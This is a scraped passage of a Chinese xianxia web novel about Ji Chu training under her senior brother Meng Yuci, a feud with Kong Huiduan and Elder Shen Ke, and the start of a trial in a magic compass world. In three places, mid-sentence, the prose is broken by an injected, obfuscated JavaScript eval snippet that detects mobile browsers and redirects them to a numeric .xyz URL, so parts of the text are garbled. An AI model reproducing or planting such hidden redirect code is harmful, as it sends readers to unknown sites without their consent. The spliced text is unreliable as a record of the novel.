他今天没有和纪楚对练,而是坐在桌边,看着她挥剑的动作,时不时提点一下。 直到他说“可以了”,纪楚才收剑立于他面前,双眼一个劲往他手里的果子上瞧。 孟喻辞十分谨慎地思量一番后,问了句: “你讨厌我吗?” “怎么会呢!” 纪楚已经全然忘了自己踹门后大吵大闹说的话,此刻被盘盘果蒙了心,果断否决: “师兄是全世界最好的师兄,我喜欢还来不及,我怎么会讨厌师兄呢?” 说完她双手合十,上身前倾,一脸期冀地问他: “我刚刚的表现还不错吧?可以得到一个好吃的盘盘果吗?” 孟喻辞端详她一番,纪楚眨巴着眼睛表示真诚。 他于是不再多问,将果子递给她,又交代了一句: “今日尚可,明日继续。” “谢谢师兄!” 纪楚兴奋地欢呼一声,直道今天果真是美好的一天,而后捧着果子转着圈跑了。 孟喻辞看着她欢快的背影,沉思。 他好像知道如何养纪楚了。 * 纪楚捧着每日“限额”的盘盘果,半天舍不得吃。 思来想去,她决定把这份快乐分享给兔子。 于是她飞快去了青极峰,这会儿天色还早,喂兔子的人早早溜了,兔子们还在草地上蹲着,懒洋洋地吃着刚种下的红灵果。 她钻进兔子堆里,将盘盘果拿给兔子看,小声道: “快看!这是哪儿来的盘盘果?” 说完她又装作一脸惊讶,抚着心口做夸张状: “啊!是师兄给我的盘盘果!” 盘盘果和兔子喜欢的红灵果颜色相似,有兔子凑上来闻了闻,发现不是红灵果,又嫌弃地跳开了。 “真没品味。” 纪楚白了那兔子一眼: “这可是师兄给的!师兄!你们知道从师兄手里讨来零食有多不容易吗?” 她动静太大,兔子们嫌吵,纷纷压着耳朵跳远了。 纪楚蹲在原地,见没兔子愿意搭理她,愤愤咬了一口果子。 入口清甜,清气满溢。 师兄在她心里的形象瞬间从“冷酷无情的剑修”变成了“心软的神”。 如今的师兄,似乎和前世那个总冷着脸、充满距离感的师兄有许多不同。 好像变得更真实更亲近了! 她前世便想同师兄如寻常师兄妹一样和谐相处,只是一直没有机会。 甚至因为后来的那次蛊毒意外,连普通同门都没得做了。 如今重来一世,竟阴差阳错得了这个机会! 这怎么不算上天的眷顾呢! 她绝对不能辜负! 纪楚咬着果子,暗自下定决心: 这一世,她一定要勤学苦练,认真修行,与师兄做一对和睦相处的师兄妹! * “勤学苦练,认真修行”,说着容易做着难。 和师兄练剑时被桃枝追着打的次数越来越多,整个院子里都是纪楚上蹿下跳的身影。 虽然知道和师兄这样厉害的剑修对练进步神速,但她还是时不时冒出“改换师门”的大逆不道的念头。 毕竟,一个永远打不过的对手,实在是太让人生气了! 这些话她自然不敢告诉师兄,只能在心里默默生气。 然后纪楚的目光就落到了师兄院中的桃树,将仇恨悉数转移给那棵逐渐张开花苞、露出粉嫩花朵的树。 都怪这坏树! 好端端的非要长什么树枝!顶端开一朵花意思一下不行吗?! 她看着树气的牙痒痒,孟喻辞便会及时朝她手心放一个圆圆的果子,并给出夸赞: “有进步。” 好哄的纪楚于是再一次啃着果子消了气。 她觉得自己有点太好哄了,但架不住师兄的夸夸,盘盘果又实在太过好吃。 吃完果子,又开始继续练剑。 师兄握着桃枝原地不动,身姿挺拔神情淡漠,模样甚至算得上闲散,全然没有握剑时满身杀气的样子。 可他只需微微抬手,桃枝就会一种离奇而刁钻的角度落到纪楚身上,绞尽脑汁用尽计谋也躲不开。 化境巅峰对玄境六阶弟子的实力碾压,使得师兄教她剑法时就跟逗小孩玩一样,毫不费力。 纪楚再怎么敬畏师兄,次次看他这般“面无表情漫不经心”就能把自己打的满院子乱窜的样子,也难免被激出几分血性,咬牙切齿想要赢上一次。 剑招进步因而神速。 纵使躲不过,也将孟喻辞出剑时那种果断、狠辣的气势学了几成。 只是距离师兄仍差的远。 眼看她回回握住剑便开始咬牙切齿,显然是有些执念到着相了,孟喻辞这才意识到自己这般碾压式的教法有些不合适。 寓教于乐,应当让孩子感觉到成绩每天都在进步的快乐。 于是为了避免把纪楚逼得走火入魔,他急忙研究了一番其他长老人手一本的《弟子教学指南》,中途改换了教学思路,从“追着纪楚打”变成“偶尔也让纪楚躲开一次”。 果不其然,纪楚鼓成河豚的脸又扁了下去,重新变成那个双目明亮的可爱小师妹。 每每成功躲开一次,便一蹦三尺高,摩拳擦掌喊着“再来”。 孟喻辞这才松了口气。 日子就这么平平静静地过了一个多月。 孟喻辞管的太严,纪楚的修炼被迫加快了进度。 她一闭眼就是师兄冷着脸拿着花枝却比拿着剑还要俊俏的样子,做梦都在背剑诀,连跟许盈约饭的时间都没有。 修为倒是大大提高,不但稳住了玄境六阶,甚至隐隐有冲七阶的征兆。 许盈评价: “孟师兄看着冷酷无情,实则严师出高徒,不但可以增加修为,还能日日对着孟师兄这样举世无双的容貌,纪楚你真是太幸福了!” 纪楚回忆了一番师兄的样貌,觉得她说的很有道理。 直到距离问仙大会还有三天的时候,忽然发生了一件不大不小的事情。 孔回端自从被“般般鱼”坑了一千多分后便没再出现。 纪楚本以为“灭魂阵”这事便算了结了,早将这份仇怨抛诸脑后,一心投入修炼中去。 谁知某日纪楚抱着剑路过广玄峰时,忽然被人兜头倒了一盆混了渡明粉的水。 渡明粉可以将人的气息伪装成鬼,许多人或者修士混进鬼界时常常在身上涂抹这东西。 虽然没什么伤害,但在人均身上携带几样法器灵符的广玄峰下,却瞬间引来了不少攻击。 纵使纪楚有了这些日子躲避反击的经验,还是在毫无防备时被四面八方飞来的灵符和法器打到了右手。 手腕顿时青了一片。 虽说修士躯体比凡人强健不少,悬医阁的丹药也起了效果,但她使的右手剑,手腕受伤,实力顿时大减。 纪楚被泼水的地方是个无人关注的角落,灵符又是察觉到鬼气后主动攻击她。 打伤她的灵符的主人是个普通法修,一出事就急忙赶来道歉,广玄峰上上下下清清白白。 况且修士受伤乃是常事,尤其剑修,身上多的是磕磕碰碰出的伤,没有人会因为这点小事就三堂会审。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132144|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但许盈一听便直呼是“孔回端这贱人蓄意报复”,执意追去广玄峰“讨说法”,结果受了好一通冷嘲热讽。 孔回端更是一脸不屑,直道纪楚“若非长了这么一张脸,连广玄峰的门都进不去,如今攀了主峰高枝学剑,自己却不当心伤了执剑的手,却回广玄峰碰瓷,实在可笑。” 许盈当时就火了,拔出剑就和孔回端打了起来,蒋成旭也跟着加入了战局。 纪楚右手痛得一拿剑就抖,又不想连累两人在这个节骨眼上因为她被罚或者扣分,还捧着右手试图劝架。 孔回端是个法修,遇上许盈和蒋成旭这样的“混合双打”,自然落了下风,情急之下喊了句: “待瑶月仙子回归,看她纪楚还有何面目留在宗门!你们两个为了一个替身与同门内斗,迟早落得惨死下场!” 瑶月仙子就是薛晚凝。 这话直接戳到了纪楚的痛点。 她前世揪心,不外乎是自己“替身”的身份,以及许盈和蒋成旭的惨死。 这孔回端竟能一句话伤害她两次,真是叫人忍无可忍! 顿时架也不劝了伤也不顾了,拿着剑也冲了上去。 手腕受伤挥不动剑没关系,那就用剑鞘砸剑柄锤,保管叫孔回端护得住脑袋护不住手。 一场热闹至极的四人混战。 最后四个人都打得狼狈不堪,纪楚右手淤青更重,一同被提到了执律堂。 他们也知道这事闹大了丢人,也许还会耽误问仙大会。 故而一到执律堂就齐齐认错,绝口不提“叫师长主持公道”。 此事以广玄峰出了一些丹药、纪楚自认倒霉告一段落。 纪楚虽生气,但更怕耽误问仙大会。 她深知自己临阵磨枪底子不稳,丝毫不能懈怠,故而换了件袖子极长的衣裳,瞒着右手有伤的事情,照常去找师兄练剑。 但孟喻辞何等敏锐之人,只看她握剑姿势便知有异,拉过她手腕撩开袖子一看,好大一片淤青。 他拉着纪楚手腕,目光移向她的脸: “怎么回事?” 纪楚避重就轻道: “一不小心伤到了……师兄不用担心,不耽误我练剑的……” 说着她想收回自己的手,但孟喻辞拽着她手腕的手五指略微用力,她便拽不动了。 师兄的声音有点冷: “受伤为何不说?” 纪楚还想打哈哈混过去: “我只是觉得不太严重,马上就是问仙大会了,我不想浪费时间……” 在师兄冰冷的目光凝视下,纪楚的声音越说越小,到最后自己也没什么底气,声音低到近乎听不清。 孟喻辞被她这副模样气得不轻,捏着她手腕轻斥: “你这手腕分明是二次受伤,第二次也是不小心?” 纪楚见瞒不住了,只得将事情全都说了一遍,提到孔回端说过的话时,仍一脸愤愤不平: “他凭什么诅咒我朋友?今天是手受伤了,等明天伤好了,我非把他满口牙打掉!” 孟喻辞闻言,瞥她一眼,淡淡道: “还说?” 纪楚扁嘴,不说话了。 孟喻辞心里莫名就想到,若是他没有及时出关找到纪楚,她是不是就会一直这样,受伤后自己躲起来,像孤独的小兽一样自己舔舐伤口,默默算计着什么时候能反咬回去。 倒也不是责怪,只是心疼。 他沉默下来,不知该说些什么。 怕自己语气太重,叫她受了伤还得回来受委屈。 又怕自己一时疏忽没能及时发现,今日还是小伤,万一来日有危及性命的事情时,她也这样瞒着,不会找他求助。 一时间,竟多了几分瞻前顾后、不知该拿她如何是好的无措来。 29. 第 29 章 孟喻辞将纪楚拉到桌边,叫她在自己跟前站着,另一手凝了灵力按上她手腕淤青处。 见她一直憋着不说话,忍不住抬眸看她一眼: “怎么不说话?” 纪楚原本想说“你不让我说话的”,但手腕上忽然传来一阵彻骨的寒,简直要将她的骨头缝都冻实,一下子呼痛出声: “疼疼疼……师兄……疼!” “嗯。” 孟喻辞面色冷沉似水,回了个没什么情绪的单字。 看似不为所动,实则手上动作不自觉放轻,指尖虚点着她皮肤,寒冰似的灵力缓缓朝她手腕淤伤下推。 绕是如此,纪楚仍疼得眉头紧皱,一个劲儿地想把右胳膊朝后缩。 可惜手腕上带着伤不说,她那点力气根本拽不过师兄,他连眼皮都没抬,按着她胳膊将灵力沿着伤处铺了一层。 他人看着清逸淡漠,实则灵力强悍非常,灵符上残留的攻击法术被轻易清理干净;又专程用寒气将纪楚的手腕冻住,免得她行动没有分寸、伤上加伤。 孟喻辞松开手时,纪楚已疼得满头冷汗,捂着右手腕迅速朝后退了几步,离师兄远远的。 “你这几天不用练剑了。” 孟喻辞本想把她拽回来,又怕拉扯间伤了她的手,只好说道: “若不想刚开始比试就因为伤痛被淘汰,最后这几天就老实点,别再跑去打架了。” 纪楚站得老远,朝自己手腕上轻轻吹气,一脸的委屈和不服气。 孟喻辞顿了片刻,又起身上前两步,在纪楚警惕的目光下伸出手。 五指修长,指节分明,掌心托着个红红的果子。 不要白不要。 纪楚果断从他手里拿走了盘盘果,却仍不肯抬头看他,转过头去看着地面继续赌气,不吭声也不吃果子。 头顶零碎的发丝倔犟翘起,像是在说“哄不好了”。 孟喻辞略感无奈,忍不住抬手揉了揉她的头,叹息道: “量力而为,切莫逞强。” 他的语调放得缓而平和,像是哄孩子: “名次胜负皆是次要,我和师尊,都盼你平安。” 听见他的话,纪楚想要躲闪的动作僵住。 她抬起眼睫,头上顶着他的手,像顶着个十分牢靠的壳子,双目亮晶晶的,颇有些意外地望着他。 脸上的不服、委屈通通褪去,头顶翘起的碎发也被压了下去,于是抱着盘盘果安静地小口啃了起来。 终于消气了。 * 广玄峰。 孔回端顶着脑门上硕大的一个包,正听沈恪训话。 猝不及防一道剑气袭来,杀气凌厉,直冲孔回端面门。 若非沈恪反应极快替他挡下,只怕要闹出人命。 “孟喻辞,你好大的胆子!敢在我广玄峰动手!” 剑光化作一道修长身影,孟喻辞持剑而立,闻言极冷极淡地轻笑一声,语气淡淡: “若我想动手,他焉有命在?” 沈恪闻言瞬间暴怒,周身灵力猝然汇聚,狂风朝广玄峰簇拥而来。 实则他心里清楚,以孟喻辞的剑意,若他真想取孔回端性命,自己根本没有挡剑的机会。 如此这般,纯粹是为了给他们一个警告! 但他好歹一宗长老,岂能容一个小辈在他面前挑衅?! 化境高阶修士的对峙有时只在一念之间。 沈恪盛怒之下,灵力强势却压不过去; 而孟喻辞只淡漠静立,剑势内敛,不见杀意,却威胁十足。 沈恪已落下风。 他知道今日只能吃这一亏,不得不压下灵力,忍着心里的不快,抬手示意惊恐未消的孔回端退下。 顷刻间已换了副友善的姿态,仿佛刚刚一瞬间的对峙并不存在,从容问道: “孟师侄来此,可是纪楚顽劣,叫主峰费心了?” 见孟喻辞没有否决,沈恪心下放松许多,又道: “我早便告诉过师侄,纪楚顽劣难驯,主峰弟子众多,若是管束不及,不妨由我……” 沈恪话未说完,孟喻辞便打断他: “师妹修行勤勉,有我教导足够。” “是吗?” 沈恪脸上笑意微僵: “那师侄前来所为何事?总不会只是为了……给我座下底子,一个教训?” 早在听见“纪楚”两个字时,孔回端就下意识垂着头朝后退。 只是还未彻底逃离此处,便被孟喻辞开口叫住: “是有一事,需得问个明白。” 沈恪看向身后,见孔回端神色惶惶,想来是他不在的时候又生了岔子,顿时不悦道: “还不快说,究竟发生了何事?” 孔回端一个激灵,回道: “回禀师尊,是纪师妹不小心沾了渡明粉,引来灵符攻击,伤了手腕。弟子以防冤枉无辜,所以才多问几句,谁料纪师妹便带着人来打了弟子……” 说完,他略略抬头,叫沈恪和孟喻辞看清他额头上的大包,又补充道: “这便是被他们所伤……此事实乃意外,弟子也已在执律堂领了罚。” “意外?” 孟喻辞目光平平朝孔回端看去,似利剑对准他眉心,叫他忍不住发抖: “若渡明粉和灵符皆是意外,那“替身”二字,也是沈长老言传身教,孔师弟耳濡目染,不慎意外道出?” 沈恪一听,目光登时冷了下去: “你说什么?” 孔回端一下子后背发凉,顿时知晓自己一时张狂犯了忌讳,跪在地上不敢抬头: “弟子失言。” 沈恪盛怒并非是因为纪楚受伤,而是因为孔回端非但敢对纪楚动手,还敢张狂妄议于他。 无论他心里如何看待纪楚、如何处置纪楚,但是他的东西,从来由不得别人插手;他的想法,更不许旁人妄加揣度! 这孔回端当真是胆大包天,得了他几分信任便得意忘形,竟敢越俎代庖,将手伸到他的东西上! 沈恪袖口微动,一道灵力重重打向孔回端。 孔回端闷哼一声,吐出一口鲜血,脸色顺便变得苍白,却丝毫不敢反抗,反而叩首求饶: “弟子有错,请师父责罚。” 沈恪出手极重,面上却不见丝毫怒意,神情甚至算的上温和: “你是有错,若非孟师侄前来讯问,我尚不知你如此狂妄,竟敢妄议同门,挑拨是非。” 孔回端不敢接话,听得上首沈恪道: “罢了,既知有错,便去执律堂领上三十鞭。” 孔回端不敢辩驳,讷讷应了,起身蹒跚离开。 沈恪发落完人,这才转向孟喻辞,面带浅笑,温和解释: “一个小辈,竟敢将手伸到我的东西上,这才不得不出手教训,倒是叫师侄见笑了。” 他意有所指,孟喻辞也知道沈恪后头这一出教训弟子的戏是专门演给他看。 他素来不是忍辱负重的性子,也不屑于让自己的师妹瞻前顾后地“打落牙齿和血吞”。 纪楚选择忍着,他作为师兄,却是定要讨回这口气。 三十鞭委实不算多,单以孔回端敢伤纪楚一事,他已是手下留情。 只是沈恪话里话外将纪楚“划做他有”的态度,让孟喻辞听着尤为不爽。 素日也不见有多珍视,如今倒在他这“正经师兄”面前装起“长辈”了。 于是孟喻辞面无表情回道: “沈长老如何管教弟子,是沈长老的事。但纪楚如今有我瞧着,就不劳广玄峰的人——出言指点了。” “多有打扰,告辞。” 说罢,不等沈恪回答,他略一施礼,转身化作剑光离开。 人刚一走,沈恪面上笑意顿时消失,一时间怒意横生,再难维持温润君子形象。 他猛地挥手,灵力打碎身后墙面,玉砖四分五裂,扑簌而落。 好个孟喻辞! 竟敢当面对他阴阳怪气,指桑骂槐! 只恨他因着晚凝的事一时举棋不定,反倒叫一个蛮横小辈踩在他头上,非但将纪楚从他手里抢走,还敢次次在他面前耀武扬威! 护在墙后的聚魂灯受他灵力冲击,灯芯摇曳,一缕魂魄浮现,缓缓凝出一个女子模样。 额间一点魔气缠绕,却不减其婉约之姿,双眸紧闭,正在聚魂灯的护佑下沉沉睡着。 沈恪平静下来,却并未立即上前,而是看着那与纪楚十分相似却又全然不同的容貌,灯影后的目光莫测悠长。 良久,他一挥手,重新将聚魂灯连同薛晚凝的魂魄一同封住。 * 沈恪下手很重,孔回端来不及疗伤就又挨了三十鞭,离开执律堂时连路都走不稳。 但他却不敢叫苦,只能在心里暗骂自己倒霉。 谁能料到,这向来疏冷漠然、从不插手弟子间事的孟师兄,竟会破天荒的来找他麻烦呢? 难道是为了纪楚吗? 他为自己这个想法感到不可思议。 只是还未来的及细想,身后忽然有人靠近的声响。 天色太暗,他又伤重之下反应迟缓,竟叫人临到背后才察觉到。 匆忙回头间,只瞧见几个脸上蒙着布的人影疾步朝他扑来。 然而已经来不及了,孔回端尚未出声,头上已猛地罩下一个罩子,随后有人一棍子敲在他颈后,打得他一个趔趄跪到了地上,头晕眼花站不起来,连惊呼声都没能发出。 铺天盖地的拳头紧跟着砸下来,至少有三四个人同时在打他,中间还夹杂着有人打喷嚏的声音。 孔回端一开始还试图搬出身份和沈恪来威胁,但偷袭者浑然不怕,甚至打得更起劲了。 没过一会儿他就被这几个人打得连连求饶,涕泗横流形象全无。 不知过了多久,那几人才打够了离开。 周围安静下来,孔回端颤颤巍巍把头上的罩子拿开,双目乌青嘴边带血,脸上青一块紫一块,甚至右脸肿起,已经被打的不对称了。 任谁见了他此刻的样子,都不敢相信这是那个高贵俊朗的广玄峰法修。 孔回端也自觉形象尽毁,丝毫不敢叫人看见他这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她穿着如其他弟子一般的青白两色弟子服,站在一众弟子中间,一副安静乖巧模样,难得没有左摇右晃,而是认真地听着长老讲话。 这颜色衬得她脸颊白皙透亮,漂亮得像个瓷娃娃。 孟喻辞的目光下意识落到她右手腕上。 虽然知道自己以灵力治疗后,应当已经好的差不多,但还是忍不住担心她不听话,短短两天,又害的淤伤加重。 下一秒,就见纪楚抬起右手,毫不犹豫地捶了一下站在前头的蒋成旭。 看着像是大好了。 这边纪楚耐着性子听了半天比试规则,却发现前三名“拜见神骨”的奖励竟然变成了“灵丹”。 她一下子急了,叫了蒋成旭好几声,他却根本没听见。 于是忍不住,抬手捶在蒋成旭肩膀: “你不是说前三名可以拜见神骨吗?怎么只剩下灵丹了?” 许是这个“只”字说的太过嫌弃,周围不少弟子都扭头看她: “纪师妹,你未免也太狂妄了。那可是圣品应元丹!一颗就顶一个修士五十年修为,更别说第一名可以得到足足三颗!” 说话的人白她一眼: “我同你说这么多做甚?一个小小玄境,连圣品应元丹都不懂,淘汰了可别回去抱着你师兄哭!” 纪楚“哼”他一声: “谁先被淘汰还不一定呢!还是你回去抱着你师姐哭吧!” 对方:“你——” 蒋成旭回过神来,装作不小心,一把将前头那人推出好几步,撞得一圈人都抱怨连连。 然后他对纪楚说: “我也不知道为什么,但是总觉得不太对劲……” 蒋成旭话未说完,刚刚让他盯着走神许久的东西忽然从众人脚下的地面缓缓浮现。 ——竟是一块巨大的罗盘。 罗盘为虚影,盘上无指针,分内外两层,正以相反的方向、同样的速度同时旋转。 随着盘面的转动,原本空空荡荡的盘面忽然浮现出点点星子,内外星子连成线,恰似星空天河,却又因为分开旋转的罗盘两层而频频错开,复又连出不同的形状。 众弟子低头,看着自己脚下踩着的罗盘,顿时惊叹出声: “万象天罗盘!” 夫万象森罗,不离两仪所育,百法纷凑,无越三教之境。 万象天罗盘联通万千世界,其间乾坤大地、日月星辰,万事万物,相似而不相同,人于其中,难分真假,死生无渡,是一件从不现世的神器。 如今,竟在拂宇仙宗的问仙大会上出现。 甚至看掌门的表情,显然在他意料之中。 诲元仙尊面色沉肃,面对一众惊诧的长老和不知情的弟子,缓声道: “此次问仙大会的比试地点,便在万象天罗盘中。” 30. 第 30 章 掌门此话一出,众弟子尚且懵懂惊奇,孟喻辞却倏地从纪楚身上收回视线,抬眸看向自己的师尊——拂宇仙宗的掌门。 几个长老心中同样纳罕:原本定的是幻境比拼,怎的忽然祭出了万象天罗盘这样变数更大的法器? 他们不着痕迹地互相对视一眼,皆从彼此眼中看到了不解。 万象天罗盘中境况,只有参与者自己知晓,旁人无从探知。 如今比赛形式这么一变,能够观察弟子表现的水镜便没用了。 他们只能等着比赛结果,却不能知道具体发生了什么。 诲元仙尊对四面八方传来的目光视若无睹,挥袖,参加问仙大会的众弟子身前便逐一浮现一块玉质剔透的巴掌大小的玉牌。 “尔等入小世界后,玉书牌上自会显示比试内容。玉书牌碎,则视为淘汰。” 说罢,他手一抬,万象天罗盘徐徐升至半空,踩在不同方位上的弟子身形随之消失,被传送去了不同的小世界。 待最后一个弟子也消失不见后,诲元仙尊脑海中再度回想起那人的“威胁”: “只取前三名拜见神骨,未免太过小气。我来替你布置,可叫参加问仙大会者,人人得见神骨。” 纵使心中再多思绪,诲元仙尊始终面色如常,抬手示意孟喻辞上前,传音入密: “事情有变,我不得不将众弟子分开,其中一个世界,需得你亲自去“照拂”。” * 纪楚,现在是住在巷尾的卖花女杨思思,抱着篮子推开院门。 她被万象星罗盘传送来的这个小世界看起来和人界并没有什么不同,是个远离战乱纠纷的小城。 幻境考核中弟子不可随意暴露身份,否则人人都能拿着剑用灵力大杀特杀,也就没了考试的必要。 玉书牌上空空荡荡,没有任何有关考试内容的字符,她也只得暂且按照“杨思思”平日的路线行动。 杨思思是个普通人族,父母早逝,和哥哥相依为命。 哥哥杨念之体弱多病,无力养家,是以杨思思便常常去后山采花,再在城中售卖,只能勉强赚些两人吃饭的钱。 连续下了两天雨,杨念之不慎感染了风寒,昨天咳了一整天,今早上又开始高热不退。 杨思思一大早就跑去城里抓药,此时才到家。 小院虽然简陋,却也十分干净。 杨念之的屋子房门紧闭,没什么动静,应是还在睡着。 杨思思前天运气好,采的花被一个大主顾看中,一口气全买了不说,还额外得了一小袋棋子做赏赐。 听说这棋子是极其珍贵的宝石熔成的“云子”,但丢了一大半又碎了一大半,剩下的棋子连半局都凑不齐,被随手赏赐给了杨思思。 “云子”材质贵重,就算数量少还碎了,但对饭都吃不起的人而言照样是个宝物。届时按重量卖给烧炉铸铁的人,叫他们熔了再铸,也能赚得不少。 杨思思很是珍重这些棋子,专门用荷包将其装好随身带着,打算找机会卖掉。 只是杨念之病的突然,她昨天一整天都没出门,也就没空去找买家,一直挂在她腰上。 杨思思的东西,纪楚也不好乱动,只刚来时在荷包里翻了翻,没看出什么名堂,还带出不少碎渣被风吹散,恐怕要少卖不少钱。 于是她又赶紧把荷包口袋封好挂回腰间,拿着剩下的银子买了药。 她回家后放下篮子,拆了药放在火上熬着,又跑去厨房取来半个饼叼在嘴里。 平时家里都是杨念之做饭,如今人病倒了,她就只能吃些昨日剩下来的冷饼。 纪楚又从厨房顺手拿了个扇子,学着看到的别人熬药的动作,有模有样地在药罐旁边扇着,边心不在焉地研究手里的玉书牌。 院门半掩着,门口偶尔有人影路过,没过一会儿,邻居何婶闻着药味推开她家院门,一见纪楚模样,顿时喊起来: “苍天啊!你这是熬药呢还是烧瓷呢?” 说着她匆匆上前,抽走纪楚手里的扇子,隔着厚布掀开药罐一瞧,里头的水已经快熬干了。 何婶一脸无奈,催着她拿碗盛药,边道: “你兄长这是又病了?唉……早上又吃的冷饼吧?” 她说着说着又伤感起来: “老杨两口子也是个心狠的,丢下你们兄妹俩说走就走,一个病的照顾一个小的,吃饭都成问题……” 何婶哽咽到一半,话锋一转,忽然问了句: “你前几日上街卖花,有没有遇见奇怪的人?” 纪楚有些不明所以,回答道: “奇怪的人?没有吧……我昨天一天没出门,出什么事了吗?” “没有!我只是随口一问。” 何婶话题转移地很是生硬: “说起这个,你兄长身子骨不好,家里家外全靠你一个人支撑实在太过辛苦,不若早日寻个夫君安定下来,也好和你一起照顾兄长。” 纪楚:“啊?” 何婶一副早有准备的模样,朝她手里塞了一本册子: “你这丫头,自己的事一点也不上心。喏,这里头全是顶顶好的儿郎……挑挑看,看中了,婶子替你去说!” 说完,她推了推纪楚肩膀,一副今天喝药痊愈明天就选中夫君后天就能吃上婚席的迫切表情: “好了好了,别在这儿杵着了,快去里头给你哥喂药吧……册子记得看啊!” 纪楚只来得及匆匆一瞥,最上面一页上似乎写着一句“窈窕淑女,君子好逑”。 原来这是一摞“表白情诗”。 她茫然地捏着一摞纸,端着药碗推开了杨念之的门。 杨念之静静躺在床上,五官清秀俊美,久病虚弱的面色略显苍白,反使他显得更加干净雅致,整个人如修竹般清俊疏朗,看着比杨思思还要清秀几分。 俨然是个病弱美男,还是个发烧昏睡任人宰割的病美男。 纪楚把手里的“相亲册子”放到桌上,端着药站到床边思考了一会儿,才发现自己不会照顾病人,更不会喂药。 杨念之昏迷不醒,她拿着碗和勺子比划了半天,喂一勺漏半勺,又迟迟没法狠下心掰开床上这个虚弱漂亮的人的下巴,最后只能泄气地坐在床边,替“杨思思”翻阅这些表白心意的“情诗”。 “所谓伊人,在水一方。” “有美一人,清扬婉兮。” “青青子衿,悠悠我心。” “……” 每个字都认识,连在一起确像一套组合拳,打的她头晕眼花。 纪楚从白天翻到晚上,杨念之没醒,玉书牌也毫无变化,任务迟迟不出现。 她有些焦虑,又给杨念之熬了一碗药,依然洒了一大半。 中间的时候何婶来了一趟,看杨念之还没醒,又询问她是否有看中的“情诗”: “你只管大胆挑,越快越好,无论哪个,何婶都能给你谈拢!” 读诗读到失去所有力气的纪楚:“……” 她委婉道:“我不太喜欢读诗。” “不喜欢诗啊……” 何婶先是失望,很快又振奋起来,翻出一摞画着人像的册子: “要是实在没个喜欢的,那也无妨,何婶这边还认识几个不会作诗的,样貌都是一等一的好,你再回去挑挑……上点心啊,如今已是不能再拖了!” 纪楚:“为什么不能拖了?” 何婶欲言又止半晌,想起那人的交代,只得顾左右而言他: “……这不是好儿郎太抢手,怕你错过了!一定得尽快挑好啊!” 她的语气太过严肃迫切,以至于纪楚不禁开始怀疑,自己来到这个小世界的任务其实是给“杨思思”挑个夫君。 ……然后一起照顾她哥? 这都什么跟什么啊?! 纪楚没有应付这些话题的经验,好容易将何婶送走,她将小像册子和那一摞情诗全都拿着坐到杨念之房门口,借着夕阳的余晖认真翻阅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142126|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说问仙大会不可能有挑女婿这样荒诞的任务,但这是“本地人”执意塞给她的,里头或许有什么能激活任务的线索。 纪楚逼自己静下心来仔细找找。 但只坚持了一会儿,她就在大同小异的画像和咬文嚼字的酸诗中逐渐失去理智,“啊——”得长叹一声仰面躺倒在地上,溅起一片灰尘。 “比赛难,熬药难,给自己挑夫君更是难上加难啊——!” 她展开两臂,仗着此处无人可见,深情感慨。 以门槛为分界线,纪楚两腿在屋外,上半身倒进杨念之的屋子里,霞光随着她的躺倒从门外撞进来,将她的脸和头发照成了金色,脸上细小的容貌在夕阳下格外明显,像蒙了一层金色的雾。 纪楚睁着眼睛,以倒立的视角,与床上坐着的人大眼瞪小眼。 * 孟喻辞睁开眼的时候,便看到了这一幕。 自纪楚这一批弟子被传送走后,他也入了万象天罗盘,排查了许多小世界,最后轮到这里。 因着传送与排查耽误了时间,所以他顶替的身份一直在昏迷中,此时,距离这一批弟子被送至这里,已经过去了一整个白天。 一个白天,足够这些小弟子们斗上几轮了。 说不定他出现时,原本在这里比试的弟子已经被淘汰了。 只是没想到,一睁眼,就看见纪楚身披霞光躺在他门口的地上,左手举着“情诗”,右手举着“画像”,嘴里还喊着什么“给自己挑夫君好难”。 孟喻辞:“……” 纪楚被他吓了一跳,匆匆翻身从地上爬起来,飞快切换进“相依为命的妹妹”的角色,模仿着杨思思看到杨念之醒来时的语气,惊喜道: “你……啊不是,阿兄,你醒啦!” 孟喻辞脑海中缓缓浮现自己这具躯体的身份: 杨念之,杨思思的兄长,体弱多病,昨夜高烧,昏迷不醒。 他的目光从床边放着的药碗移到了顶着杨思思壳子的纪楚脸上。 纪楚心跳开始加速。 不知怎的,这杨念之昏迷的时候看着就是个安静平和的男子模样,一睁眼,目光竟如此犀利。 一言不发盯着她的时候,浑身都散发着冷淡不好惹的气质。 甚至给她一种错觉,仿佛是师兄在打量她似的。 纪楚本能在这“酷似师兄”的目光中觉得心虚,下意识解释: “我给你熬药了,但是火候没控好,就熬……熬干了点。” 孟喻辞收回目光,垂眸看着自己衣襟袖口上的“污渍”,轻易便能想到她是如何“熬干了药倒洒了药又拉来自己袖口擦拭”的。 纪楚看他已经发现了自己的“罪证”,顿时更加紧张。 原以为自己匹配的这个身份只一个亲人,想来很好糊弄,没想到对方气场这么强大。 她并不知道杨思思和杨念之平日如何相处,只能从周围邻居的态度中察觉一二,这对兄妹相依为命,极为亲近。 